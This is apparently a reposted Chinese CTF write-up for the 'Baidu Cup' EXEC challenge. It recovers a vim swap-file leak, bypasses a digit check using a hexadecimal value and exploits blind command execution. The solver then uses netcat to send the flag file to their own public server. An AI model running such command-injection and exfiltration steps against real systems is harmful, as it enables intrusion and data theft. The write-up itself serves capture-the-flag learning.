百度杯CTF比赛 十月场——EXEC

"百度杯"CTF比赛 十月场——EXEC

进入网站页面

image

查看源码

发现了vim,可能是vim泄露,于是在url地址输入了

image

或者通过dirsearch工具扫描网站目录也可以发现 /.index.php.swp,也可以想到vim泄露

image

下载文件

image

下一步就是通过 vim -r index.php.swp恢复index.php,然后打开

<html> <head> <title>blind cmd exec</title> <meta language='utf-8' editor='vim'> </head> </body> <img src=http://www.likecs.com/pic.gif> <?php /* flag in flag233.php */ function check($number) { $one = ord('1'); $nine = ord('9'); for ($i = 0; $i < strlen($number); $i++) { $digit = ord($number{$i}); if ( ($digit >= $one) && ($digit <= $nine) ) { return false; } } return $number == '11259375'; } if(isset($_GET[sign])&& check($_GET[sign])){ setcookie('auth','tcp tunnel is forbidden!'); if(isset($_POST['cmd'])){ $command=$_POST[cmd]; $result=exec($command); //echo $result; } }else{ die('no sign'); } ?> </body> </html>

这里有一个check函数需要绕过,很明显check函数就是把选手输入的数字一个一个的判断,查看这些数字的ASCII码是否在1-9的ASCII码之间,如果符合则验证失败。如果check函数想最后返回返回true,则$number需要等于'11259375',这里可以使用十六进制来绕过即可。

代码里面的 setcookie('auth','tcp tunnel is forbidden!');告诉我们TCP被禁止不能用curl,而且cmd命令执行之后也没有回显,但是前面的注释告诉了我们flag文件,我们可以直接用nc命令把flag文件下过来,我们需要一台有公网ip的服务器。

在服务器上运行

nc -lup 39999

然后再题目那里用post方法 cmd=nc -u 你的ip地址 39999 < flag233.php

注:这里我踩了个小坑,cmd=nc我输入成了 cmd = nc,等于号两边不能有空格。

image

flag便传到了服务器上

image

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zgzpsy.html